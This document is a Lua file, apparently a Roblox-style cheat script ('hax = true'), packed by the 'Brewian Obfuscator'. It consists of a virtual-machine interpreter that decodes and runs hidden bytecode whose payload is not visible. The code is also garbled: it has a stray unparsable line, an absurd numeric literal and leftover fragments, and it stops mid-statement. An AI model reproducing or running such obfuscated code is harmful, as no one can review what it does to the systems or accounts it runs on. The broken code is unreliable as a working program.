--[[Brewian 4.0B  IB2 fork
VM : 0xe9de4C89D97a3F9f3c23debdCbd8F9e;
██████╗ ██████╗ ███████╗██╗    ██╗██╗ █████╗ ███╗   ██╗
██╔══██╗██╔══██╗██╔════╝██║    ██║██║██╔══██╗████╗  ██║
██████╔╝██████╔╝█████╗  ██║ █╗ ██║██║███████║██╔██╗ ██║
██╔══██╗██╔══██╗██╔══╝  ██║███╗██║██║██╔══██║██║╚██╗██║
██████╔╝██║  ██║███████╗╚███╔███╔╝██║██║  ██║██║ ╚████║
╚═════╝ ╚═╝  ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝
]]
getfenv().hax = true
,
nil,nil,nil
local _='This file was obfuscated using Brewian Obfuscator';local _,_,_=({{}}),(''),(getfenv(1))return(function(__,o_,t_,e_,q,n_,p_,z,y,x,v,j,H,Z,Y,l_,B_,u_,i_,E_,l,O_,A_,P_,I_,U_,L_,w,w_,r_,a_,f_,c_,s_,h_,Q,M_,d_,R_,W,k,D,s,G,C,J,K,U,g,E,B,M,I,e,L,...)local _,_=f_,(h_)local p,b_=y,(i_)local _=z local r=w local S=(w)local _=O_ local _,_,T_,N_,_,_,h,u=q,W,v,Y,g,C,H,(d_ or a_)local _,_=s_,(M)local _=3 local R,N=Q,P_ local F,n,o,b=e,e,e,(e)while(l)do do if not(_<=1)then if not(_<=2)then if _~=3 then break else do F=(N and N()or U)end _=1 end else n={}_=0 end else if _==0 then o=1 do _=4 end else _=2 end end end end local O=e _=9 local T,t,a,d,V,n,m,A,f=e,e,e,e,e,e,e,e,e while _<=10 do if _<=4 then if not(_<=1)then do if not(_<=2)then if _==3 then do n=4294967296 end _=5 else _=0 end else do local n=2 for o=1,31 do local _=0 repeat if _==0 then(f)[o]=n _=1 else n=n*2 _=2 end until _>1 end end _=11 end end else do if _~=0 then _=4 else do a=function()local _,n=1,(e)repeat if _<=0 then return n else if _==1 then do end do _=2 end else _=0 end end until(s)end end _=8 end end end else if not(_<=7)then if not(_<=8)then do if _==9 then T=__ _=1 else A=n-1 do _=7 end end end else do d=function()local _=0 local n,e,d,t=e,e,e,(e)do while _~=2 do do if _~=0 then o=o+4 _=2 else n,e,d,t=p(T,o,o+3)do _=1 end end end end end return t*16777216+d*65536+e*256+n end end _=6 end else if not(_<=5)then if _~=6 then f={[0]=1}_=2 else do V=2147483648 end _=3 end else m=2^52 _=10 end end end end local i,P,c,X=e,e,e,e for a=0,3 do if not(a<=1)then if a==2 then do c=function()local o,l,_=0,e,(e)while o<=1 do do if o~=0 then do _=d()end o=2 else do l=d()end o=1 end end end if not(l==0 and _==0)then else do return 0 end end local t=(-1)^i(_,1,31)local o=(i(_,11,20))local _=(i(_,20,0)*n+l)local n=(e)do for e=0,2 do do if not(e<=0)then if e~=1 then return t*(2^(o-1023))*(_/m+n)else do if o==0 then do if _~=0 then o=1 do n=0 end else return t*0 end end elseif o~=2047 then else do if _~=0 then return t*(1/0)else return t*(0/0)end end end end end else n=1 end end end end end end else X={[0]={[0]=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15},{[0]=1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14},{[0]=2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13},{[0]=3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12},{[0]=4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11},{[0]=5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10},{[0]=6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9},{[0]=7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8},{[0]=8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7},{[0]=9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6},{[0]=10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5},{[0]=11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4},{[0]=12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3},{[0]=13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2},{[0]=14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1},{[0]=15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0}}end local _=function(_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)return asd end _(__,o_,t_,e_,q,n_,p_,z,y,x,v,j,H,Z,Y,l_,B_,u_,i_,E_,l,O_,A_,P_,I_,U_,L_,w,w_,r_,a_,f_,c_,s_,h_,Q,M_,d_,R_,W,k,D,s,G,C,J,K,U,g,E,B,M,I,e,L);else if a~=0 then P=function()local o,e,_=2,e,(e)repeat if o<=0 then if not(_>=V)then else _=_-n end o=1 else if o==1 then do return _*n+e end else e,_=d(),d()o=0 end end until(s)end else i=function(t,d,o)local n=2 local _=(e)do while(l)do if not(n<=0)then if n~=1 then _=(t/f[o])%f[d]do n=0 end else return _ end else _=_-_%1 n=1 end end end end end end end local t=(L_ or l_)local w=t and t[E_]or function(t,o)t=t%n o=o%n local n,d=1,e do for _=0,2 do if _<=0 then d=0 else if _==1 then do while t>0 and o>0 do local i,e=e,(e)local _=(0)while(l)do if not(_<=2)then if not(_<=3)then if _==4 then do t=(t-i)/16 end _=1 else n=n*16 break end else e=o%16 _=2 end else do if _<=0 then i=t%16 _=3 else if _~=1 then d=d+X[i][e]*n _=4 else do o=(o-e)/16 end do _=5 end end end end end end end end else return d+t*n+o*n end end end end end local M=(t and t[L]or function(o,e)local _=2 while(l)do if not(_<=0)then if _~=1 then do o=o%n end _=1 else e=e%n _=0 end else return((o+e)-w(o,e))/2 end end end)local B=(t and t[B]or function(_,o)_=_%n o=o%n return A-M(A-_,A-o)end)local L=t and t[x]local W,A=t and t[I]or function(_)return A-(_%n)end,t and t[r_]do A=A or function(o,_)if not(_>=32)then else return 0 end local e=(1)while(l)do if e~=0 then if _<0 then do return L(o,-_)end end e=0 else do return(o*f[_])%n end end end end end L=L or function(d,t)local o,e=0,(e)repeat if o<=0 then do if not(t>=32)then else return 0 end end do o=2 end else if o~=1 then if not(t<0)then else return A(d,-t)end o=1 else do e=(d%n/f[t])end o=3 end end until o>2 return e-e%1 end _=2 local V,f=e,(e)while _<=3 do if _<=1 then if _~=0 then f=function(f)local t,i=e,(e)for l=0,4 do if not(l<=1)then if not(l<=2)then if l~=3 then return i else o=o+t end else for d=1,t,7997 do local _=(2)local e,n=e,e while _<5 do if not(_<=1)then if not(_<=2)then do if _==3 then do if not(e>t)then else e=t end end _=1 else i=i..b_(u(n))do _=5 end end end else do e=d+7997-1 end _=3 end else if _~=0 then n={p(T,o+d-1,o+e-1)}do _=0 end else for o=1,#n do local _=(0)while _~=2 do if _==0 then(n)[o]=w(n[o],b)_=1 else b=(f*b+27)%E do _=2 end end end end _=4 end end end end end else if l==0 then t=d()else i=n_ end end end end _=0 else b=a()_=3 end else if _~=2 then O=a()_=4 else V=function(f)local t=({p(T,o,o+3)})local n,d,e=1,e,e do while n<=1 do do if n==0 then e=w(t[2],O)n=2 else do d=w(t[1],O)end n=0 end end end end local i=(w(t[3],O))local t=w(t[4],O)n=1 while(l)do if not(n<=0)then if n~=1 then return t*16777216+i*65536+e*256+d else do O=(233*O+f)%256 end do n=0 end end else o=o+4 n=2 end end end _=1 end end end _=0 local X,I=e,(e)local p,T,g,C=1,{},e,(e)local m={}do for _=0,2 do do if not(_<=0)then if _==1 then function g(p,_,b)local n=_[2]local i,S=_[6],(_[1])local K=_[9]local a,n,n,D=_[4],_[8],_[3],(_[7])local f=(N_({},{[j]=Z}))local P=e P=function(...)local d=0 local t=(1)local n=({})local o=(N and N()or U)local c=(o==F and p or o)local r,O=I(...)r=r-1 for _=0,r do if not(a>_)then break else n[_]=O[_+1]end end do T[1]=_ end(T)[2]=n if not D then O=e elseif not(K)then else(n)[a]={n=r>=a and r-a+1 or 0,u(O,a+1,r+1)}end if c==o then else if not(R)then U=c else R(P,c)end end while true do local _=i[t]local o=(_[9])t=t+1 if not(o<59)then if not(o<89)then do if not(o>=104)then if not(o>=96)then if not(o<92)then do if not(o<94)then if o==95 then(n)[_[8]]=M(n[_[2]],_[10])else n[_[8]]=n[_[2]][_[10]]end else if o==93 then n[_[8]]=M(_[3],_[10])else local _=(n[_[2]]/n[_[6]])end end end else if o<90 then(n)[_[8]]=_[3]~=_[10]else do if o==91 then do if not(not(n[_[2]]<n[_[6]]))then else t=t+1 end end else(n)[_[8]]=l t=t+1 end end end end else if not(o>=100)then if not(o>=98)then if o==97 then(n)[_[8]]={}else local _,e=_[8],((_[6]-1)*50)for o=1,d-_ do n[_][e+o]=n[_+o]end end else do if o==99 then local o,e=_[8],((_[6]-1)*50)for _=1,_[2]do do(n[o])[e+_]=n[o+_]end end else if not(not(n[_[2]]<_[10]))then else do t=t+1 end end end end end else if not(o<102)then if o==103 then(n)[_[8]]=B(_[3],_[10])else(n)[_[8]]=n[_[2]]-_[10]end else if o==101 then n[_[8]]=w(n[_[2]],n[_[6]])else do n[_[8]]=L(n[_[2]],n[_[6]])end end end end end else if o<111 then if o>=107 then do if not(o<109)then if o~=110 then n[_[8]]=n[_[2]]>=n[_[6]]else local e,o=S[_[1]],(e)local d=e[5]do if not(d>0)then else do o={}end for e=0,d-1 do local _=i[t]local d=_[9]if d~=35 then o[e]=b[_[2]]else o[e]={n,_[2]}end do t=t+1 end end(T_)(f,o)end end do n[_[8]]=g(c,e,o)end end else do if o==108 then t=_[1]else(n)[_[8]]=n[_[2]]/n[_[6]]end end end end else if not(o<105)then if o==k then do if n[_[2]]==n[_[6]]then t=t+1 end end else local o=(b[_[2]])o[1][o[2]]=n[_[8]]end else n[_[8]]=_[3]>n[_[6]]end end else if not(o<115)then do if o<117 then do if o~=116 then(n)[_[8]]=c[_[7]]else local e=(_[2])local o=n[e]do for _=e+1,_[6]do do o=o..n[_]end end end n[_[8]]=o end end else if o==u_ then n[_[8]][_[3]]=_[10]else T[_[2]]=n[_[8]]end end end else do if o<113 then if o==t_ then n[_[8]]=w(_[3],n[_[6]])else(n)[_[8]]=_[3]+_[10]end else if o==114 then do if _[2]==168 then t=t-1 i[t]={[2]=(_[6]-201)%256,[9]=70,[8]=(_[8]-201)%256}elseif _[2]~=195 then do if not n[_[8]]then t=t+1 end end else t=t-1(i)[t]={[8]=(_[8]-87)%E,[9]=58,[2]=(_[6]-87)%256}end end else local o=(n[_[2]])if not(o)then do n[_[8]]=o end else do t=t+1 end end end end end end end end end else if not(o<74)then if o<81 then if o>=77 then if not(o<79)then if o==80 then(n)[_[8]]=n[_[2]]+n[_[6]]else n[_[8]]=n[_[2]]*_[10]end else if o==78 then local _=_[8]do d=_ end else do(n)[_[8]]=A(_[3],_[10])end end end else if not(o>=75)then(n)[_[8]]=L(n[_[2]],_[10])else if o==76 then n[_[8]]=_[3]~=n[_[6]]else do(n)[_[8]]=_[7]end end end end else if not(o<85)then do if not(o<87)then do if o~=88 then local _=(b[_[2]])else(n)[_[8]]=n[_[2]]==_[10]end end else do if o~=86 then local o=_[3]/n[_[6]]do(n)[_[8]]=o-o%1 end else(n)[_[8]]=B(n[_[2]],_[10])end end end end else if not(o<83)then if o==84 then do n[_[8]]=_[7]end else local _=(_[8])n[_]=n[_](u(n,_+1,d))do d=_ end end else if o==82 then do(n)[_[8]]=L(_[3],_[10])end else local _=n[_[2]]/_[10]end end end end else if not(o>=66)then if not(o>=62)then if not(o<60)then if o~=61 then local o=_[8]local d,e=o+1,(o+2)n[o]=0+n[o]n[e]=0+n[e]do(n)[o]=n[o]-n[e]end t=_[1]else do if _[3]==_[10]then else t=t+1 end end end else if _[6]==175 then t=t-1 do(i)[t]={[8]=(_[8]-226)%E,[9]=6,[2]=(_[2]-o_)%256}end elseif _[6]~=G then repeat local _,e=f,(n)if not(#_>0)then else local o={}do for n,_ in h,_ do for n,_ in h,_ do if not(_[1]==e and _[2]>=0)then else local n=(_[2])if not(not o[n])then else o[n]={e[n]}end _[1]=o[n]_[2]=1 end end end end end until l return u(n,_[8],d)else t=t-1(i)[t]={[9]=45,[2]=(_[2]-A_)%256,[8]=(_[8]-216)%256}end end else if not(o>=64)then do if o==63 then repeat local _,e=f,n if not(#_>0)then else local o=({})do for n,_ in h,_ do for n,_ in h,_ do if not(_[1]==e and _[2]>=0)then else local n=(_[2])do if not(not o[n])then else o[n]={e[n]}end end _[1]=o[n]end end end end end until l local _=_[8]do return n[_](u(n,_+1,d))end else n[_[8]]=n[_[2]]<n[_[6]]end end else do if o==65 then do n[_[8]]=_[3]%n[_[6]]end else do repeat local _,e=f,(n)if#_>0 then local o={}do for n,_ in h,_ do for n,_ in h,_ do do if not(_[1]==e and _[2]>=0)then else local n=_[2]do if not(not o[n])then else do o[n]={e[n]}end end end do(_)[1]=o[n]end do _[2]=1 end end end end end end end until l end return n[_[8]]()end end end end else if not(o>=70)then if o<68 then if o~=67 then(n)[_[8]]=_[3]<_[10]else do n[_[8]]=n[_[2]]-n[_[6]]end end else if o~=69 then local o=(_[8])local d=(n[o+2])local e=n[o]+d if d>0 then if e<=n[o+1]then t=_[1]end else if not(e>=n[o+1])then else do t=_[1]end n[o+3]=e end end else local e=(_[2])local o=_[8]do d=o+e-1 end repeat local _,e=f,n if not(#_>0)then else local o={}for n,_ in h,_ do do for n,_ in h,_ do if not(_[1]==e and _[2]>=0)then else local n=_[2]if not(not o[n])then else o[n]={e[n]}end(_)[1]=o[n]do(_)[2]=1 end end end end end end until l do return n[o](u(n,o+1,d))end end end else do if not(o>=72)then if o==71 then do n[_[8]]=n[_[2]]^n[_[6]]end else if _[6]~=184 then do n[_[8]]=e end else t=t-1 i[t]={[8]=(_[8]-230)%256,[9]=4,[6]=(_[2]-230)%256}end end else if o==73 then if _[6]==17 then t=t-1 i[t]={[8]=(_[8]-72)%256,[2]=(_[2]-72)%256,[9]=10}elseif _[6]~=204 then repeat local _,e,n=f,n,(_[8])if not(#_>0)then else local o=({})for t,_ in h,_ do for t,_ in h,_ do if not(_[1]==e and _[2]>=n)then else local n=(_[2])if not(not o[n])then else do o[n]={e[n]}end end do _[1]=o[n]end do(_)[2]=1 end end end end end until l else t=t-1(i)[t]={[9]=35,[2]=(_[2]-56)%256,[8]=(_[8]-56)%E}end else do if _[6]~=126 then n[_[8]]=-n[_[2]]else t=t-1 i[t]={[8]=(_[8]-58)%256,[9]=30,[6]=(_[2]-58)%E}end end end end end end end end end else do if not(o>=29)then if not(o<14)then do if o<21 then if o>=17 then do if o<19 then if o==18 then(n)[_[8]]=n[_[2]]==n[_[6]]else n[_[8]][n[_[2]]]=n[_[6]]end else if o==20 then(n)[_[8]]=s else(n)[_[8]]=l end end end else do if not(o<15)then if o==16 then do n[_[8]]=_[3]+n[_[6]]end else n[_[8]]=A(_[3],n[_[6]])end else(n)[_[8]]=A(n[_[2]],_[10])end end end else do if not(o<25)then do if o>=27 then if o~=28 then n[_[8]]=_[3]==n[_[6]]else do(n)[_[8]]=B(n[_[2]],n[_[6]])end end else if o==26 then do n[_[8]]=_[3]>_[10]end else do for _=_[8],_[2]do(n)[_]=e end end end end end else if not(o>=23)then do if o==22 then n[_[8]]=_[3]*_[10]else local _=_[2]end end else if o~=24 then do n[_[8]]=_[3]/n[_[6]]end else(n)[_[8]]=O[a+1]end end end end end end else if not(o<7)then if o>=10 then if not(o<12)then if o==13 then do(n)[_[8]]=_[3]>=_[10]end else if n[_[2]]==_[10]then else t=t+1 end end else if o~=11 then repeat local _,e=f,(n)do if#_>0 then local o=({})for n,_ in h,_ do for n,_ in h,_ do do if not(_[1]==e and _[2]>=0)then else local n=(_[2])if not(not o[n])then else o[n]={e[n]}end(_)[1]=o[n]_[2]=1 end end end end end end until l return else d=_[8]d=d-1 end end else if not(o>=8)then(n)[_[8]]=n[_[2]]+_[10]else if o==9 then(n)[_[8]]=n[_[2]]~=n[_[6]]else local o,l,t=_[8],_[2],_[6]if l~=0 then do d=o+l-1 end end local _,e=e,(e)if l==1 then _,e=I(n[o]())else _,e=I(n[o](u(n,o+1,d)))end if t==1 then d=o-1 else if t==0 then _=_+o-1 d=_ else _=o+t-2 d=_+1 end local t=0 do for _=o,_ do t=t+1 do(n)[_]=e[t]end end end end end end end else if not(o<3)then if o<5 then do if o==4 then do if _[2]~=23 then local o=_[8]local d,l=o+2,o+3 local o=({n[o](n[o+1],n[d])})for _=1,_[6]do n[d+_]=o[_]end local _=(n[l])if _==e then do t=t+1 end else n[d]=_ end else t=t-1 i[t]={[9]=30,[6]=(_[6]-150)%256,[8]=(_[8]-150)%E}end end else do n[_[8]][n[_[2]]]=_[10]end end end else if o==6 then if _[6]==J then do t=t-1 end do i[t]={[9]=114,[8]=(_[8]-22)%256,[6]=(_[2]-22)%256}end elseif _[6]==97 then t=t-1 i[t]={[8]=(_[8]-e_)%256,[9]=45,[2]=(_[2]-245)%E}elseif _[6]==29 then t=t-1(i)[t]={[9]=35,[2]=(_[2]-55)%256,[8]=(_[8]-55)%256}else(n)[_[8]]=not n[_[2]]end else n[_[8]]=#n[_[2]]end end else do if o>=1 then if o~=2 then local o=_[8]for _=o,o+(_[2]-1)do(n)[_]=O[a+(_-o)+1]end else local _=(_[8])d=_-1 end else do repeat local _,e=f,(n)do if not(#_>0)then else local o=({})for n,_ in h,_ do do for n,_ in h,_ do do if not(_[1]==e and _[2]>=0)then else local n=(_[2])if not(not o[n])then else o[n]={e[n]}end do _[1]=o[n]end _[2]=1 end end end end end end end until l end local o=(_[8])do return u(n,o,o+_[2]-2)end end end end end end else if not(o<44)then if not(o>=51)then do if not(o>=47)then do if not(o<45)then if o~=46 then if _[6]~=54 then local _,o=_[8],(r-a)if not(o<0)then else o=-1 end for o=_,_+o do(n)[o]=O[a+(o-_)+1]end d=_+o else t=t-1(i)[t]={[2]=(_[2]-234)%256,[9]=10,[8]=(_[8]-234)%256}end else(n)[_[8]]={u({},1,_[2])}end else n[_[8]]=n[_[2]]*n[_[6]]end end else do if not(o<49)then if o~=50 then n[_[8]]=L(_[3],n[_[6]])else local _=_[8]n[_]=n[_](n[_+1],n[_+2])d=_ end else if o~=48 then d=_[8]n[d]=n[d]()else(n)[_[8]]=W(n[_[2]])end end end end end else if not(o>=55)then if o>=53 then if o~=54 then if not(not(_[3]<_[10]))then else t=t+1 end else local o=_[8]do d=o+_[2]-1 end(n)[o]=n[o](u(n,o+1,d))d=o end else if o~=52 then(n)[_[8]]=n[_[2]]>=_[10]else(n)[_[8]]=T[_[2]]end end else do if not(o>=57)then do if o~=56 then(n[_[8]])[_[3]]=n[_[6]]else do n[_[8]]=n[_[2]]>_[10]end end end else if o==58 then repeat local _,e=f,(n)do if not(#_>0)then else local o=({})for n,_ in h,_ do do for n,_ in h,_ do do if not(_[1]==e and _[2]>=0)then else local n=(_[2])do if not(not o[n])then else o[n]={e[n]}end end do(_)[1]=o[n]end do(_)[2]=1 end end end end end end end end until l do return n[_[8]]end else local o=n[_[2]]if not o then t=t+1 else do(n)[_[8]]=o end end end end end end end else do if o>=36 then if not(o>=40)then if not(o>=38)then if o==37 then(n)[_[8]]=n[_[2]]^_[10]else n[_[8]]=n[_[2]][n[_[6]]]end else do if o==39 then(n)[_[8]]=n[_[2]]<_[10]else do c[_[7]]=n[_[8]]end end end end else if not(o>=42)then if o==41 then local _=(_[8])n[_](n[_+1])d=_-1 else local o=(_[8])local e,_=n[_[2]],n[_[6]]n[o]=e[_]end else if o==43 then n[_[8]]=n[_[2]]<=n[_[6]]else do if n[_[2]]~=_[10]then else t=t+1 end end end end end else if not(o<32)then do if not(o<34)then if o==35 then if _[6]==105 then do t=t-1 end do i[t]={[8]=(_[8]-195)%256,[2]=(_[2]-195)%256,[9]=70}end else do n[_[8]]=n[_[2]]end end else local _=_[8]n[_](n[_+1],n[_+2])d=_-1 end else if o==33 then n[_[8]]=n[_[2]]>n[_[6]]else local n=n[_[2]]local _=(_[8])end end end else if not(o>=30)then(n)[_[8]]=n[_[2]]%n[_[6]]else if o~=31 then if n[_[8]]then t=t+1 end else local o=(_[8])d=o+_[2]-1(n[o])(u(n,o+1,d))do d=o-1 end end end end end end end end end end end end if R then(R)(P,p)end do return P end end else function C()local t,w,u=e,e,(e)local _=3 repeat if not(_<=1)then do if _~=2 then do _=0 end else u={}break end end else do if _~=0 then w={}_=2 else t={{},e,{},e,e,{},e,e,e}_=1 end end end until(s)_=1 local h,E=e,(e)while _~=4 do do if not(_<=1)then if _~=2 then(t)[10]=d()_=0 else t[12]=a()_=3 end else do if _~=0 then h=1 do _=2 end else do E=d()-133760 end _=4 end end end end end do _=0 end local L=e while(l)do if not(_<=1)then if _~=2 then do for d=1,E do local n,o=e,(e)local _=0 while _<2 do if _~=0 then o=V(L)_=2 else n={e,e,e,e,e,e,e,e,e,e}_=1 end end do _=21 end while _<=21 do if _<=10 then do if _<=4 then if not(_<=1)then do if not(_<=2)then do if _~=3 then do n[6]=i(o,9,23)end _=5 else(n)[8]=i(o,8,6)_=6 end end else do n[9]=a()end do _=13 end end end else if _==0 then(n)[9]=a()_=3 else(n)[6]=i(o,9,23)_=3 end end else if not(_<=7)then do if _<=8 then do(n)[6]=i(o,9,23)end _=2 else if _~=9 then do n[20]=i(o,6,18)end do _=15 end else(n)[6]=i(o,9,23)_=0 end end end else if not(_<=5)then if _==6 then do n[13]=i(o,20,1)end _=7 else do n[9]=a()end _=14 end else n[20]=i(o,6,18)_=5 end end end end else if not(_<=15)then if not(_<=18)then if not(_<=19)then if _~=20 then n[1]=i(o,18,14)_=1 else n[6]=i(o,9,23)_=7 end else do n[13]=i(o,20,1)end do _=8 end end else do if not(_<=16)then do if _~=17 then do n[13]=i(o,20,1)end _=15 else do(n)[8]=i(o,8,6)end _=18 end end else n[20]=i(o,6,18)do _=16 end end end end else do if _<=12 then if _~=11 then do(n)[13]=i(o,20,1)end _=11 else do n[8]=i(o,8,6)end _=19 end else if not(_<=13)then if _~=14 then do(n)[18]=i(o,1,14)end _=22 else do(n)[2]=i(o,9,14)end _=10 end else(n)[13]=i(o,20,1)_=4 end end end end end end do(t[6])[d]=n end end end do _=1 end else do t[13]=a()end break end else if _==0 then L=a()_=3 else(t)[5]=a()_=2 end end end do _=0 end local n=(e)repeat if not(_<=2)then if not(_<=4)then if _~=5 then t[7]=i(n,1,1)~=0 _=2 else n=a()do _=6 end end else if _==3 then(t)[15]=a()_=1 else(t)[4]=a()_=3 end end else if not(_<=0)then if _~=1 then t[9]=i(n,1,2)~=0 do _=4 end else t[2]=a()break end else(t)[11]=d()do _=5 end end end until(s)_=0 local n=e while _<2 do if _~=0 then n=d()_=2 else t[12]=a()_=1 end end for _=0,1 do do if _~=0 then t[17]=d()else for _=1,n do do t[1][_-1]=C()end end end end end(t)[8]=a()_=2 local n,o,i=e,e,e while _~=6 do if not(_<=2)then if not(_<=3)then do if _~=4 then n=d()-133778 _=3 else i=a()~=0 _=1 end end else o=a()_=4 end else if _<=0 then t[11]=d()do _=5 end else do if _~=1 then(t)[13]=a()_=0 else for E=1,n do local _=(e)local n=a()local t=(1)while t<5 do do if t<=1 then if t~=0 then if n==c_ then do _=l end elseif n==124 then _=r(f(o),c()+d())elseif n==82 then _=s elseif n==163 then do _=P()end elseif n==D then _=r(f(o),d())elseif n==137 then do _=c()end elseif n==217 then _=c()+d()elseif n==166 then _=r(f(o),d())elseif n~=84 then else _=r(f(o),6)end t=5 else if n==255 then do _=l end elseif n==124 then do _=r(f(o),c()+d())end elseif n==82 then _=s elseif n==163 then _=P()elseif n==217 then _=r(f(o),d())elseif n==137 then do _=c()end elseif n==217 then _=c()+d()elseif n==166 then _=r(f(o),d())elseif n~=84 then else _=r(f(o),6)end t=2 end else if not(t<=2)then if t~=3 then if n==255 then _=l elseif n==124 then _=r(f(o),c()+d())elseif n==82 then _=s elseif n==163 then _=P()elseif n==217 then _=r(f(o),d())elseif n==137 then _=c()elseif n==217 then _=c()+d()elseif n==166 then _=r(f(o),d())elseif n~=84 then else _=r(f(o),6)end t=1 else if n==255 then _=l elseif n==w_ then _=r(f(o),c()+d())elseif n==82 then _=s elseif n==163 then _=P()elseif n==217 then do _=r(f(o),d())end elseif n==137 then _=c()elseif n==217 then _=c()+d()elseif n==166 then _=r(f(o),d())elseif n~=84 then else _=r(f(o),6)end t=0 end else do if n==255 then do _=l end elseif n==124 then _=r(f(o),c()+d())elseif n==82 then _=s elseif n==163 then _=P()elseif n==217 then _=r(f(o),d())elseif n==137 then _=c()elseif n==217 then do _=c()+d()end elseif n==166 then do _=r(f(o),d())end elseif n~=84 then else _=r(f(o),6)end end t=1 end end end end t=1 local n=(e)do while t<5 do if t<=1 then if t~=0 then do w[E-1]=h end t=0 else n={_,{}}do t=2 end end else do if not(t<=2)then if t~=3 then do h=h+1 end t=3 else if i then(m)[p]=n p=p+1 end t=5 end else u[h]=n t=4 end end end end end end _=6 end end end end end local f=X[t[2]]for i=1,E do local n=6 local _,o,d=e,e,e repeat if not(n<=2)then if not(n<=4)then do if n~=5 then _=t[6][i]do n=0 end else if not((o==5 or d)and _[6]>255)then else _[4]=l local t,n=0,(e)local d=w[_[6]-256]while(l)do if t~=0 then if n then(_)[10]=n[1]local o=e local e=(0)do while(l)do do if e~=0 then(o)[#o+1]={_,10}do break end else do o=n[2]end e=1 end end end end end break else n=u[d]t=1 end end end n=1 end end else if n~=3 then d=o==0 n=3 else if o~=15 then else local o=(1)local t,n=e,e do repeat if o~=0 then t=w[_[1]]o=0 else do n=u[t]end o=2 end until o>=2 end if not(n)then else local o=(e)for e=0,1 do if e~=0 then o=n[2]else(_)[7]=n[1]end end(o)[#o+1]={_,7}end end n=5 end end else if not(n<=0)then if n~=1 then if not((o==14 or d)and _[2]>255)then else local e,o=e,(e)local n=(2)while n~=4 do if not(n<=1)then if n~=2 then o=u[e]n=1 else(_)[5]=l n=0 end else do if n~=0 then do if not(o)then else(_)[3]=o[1]local _=(o[2])end end do n=4 end else e=w[_[2]-256]n=3 end end end end end n=7 else do if o~=2 then else(_)[1]=i+(_[1]-K)+1 end end do n=2 end end else o=f[_[9]]n=4 end end until n>=7 end return t end end else end end end end local _=Constants local _=[=========[ooZr3=dAbO+KRiO^vkVv81b]=========]local _='ovx^%87:sJ'local _='0Tia?n9W.2o-B8&@joj`ksV.I2mSi*izC0Qh'local _="o`B-i"local c=748509491358186001133551164947945321731092358250327226629.643444431286537914029281462972870118754882797479021250945 local f=string.byte;local i=string.char;local d=string.sub;local L=table.concat;local O=math.ldexp;local _=string.gsub local s=((getfenv)or(function(...)return(_ENV);end))local _,_,_=({{}}),('\\'),(s(1));local _=setmetatable;local h=select;local l=unpack;local u=table.concat local _=18;local r=tonumber;local 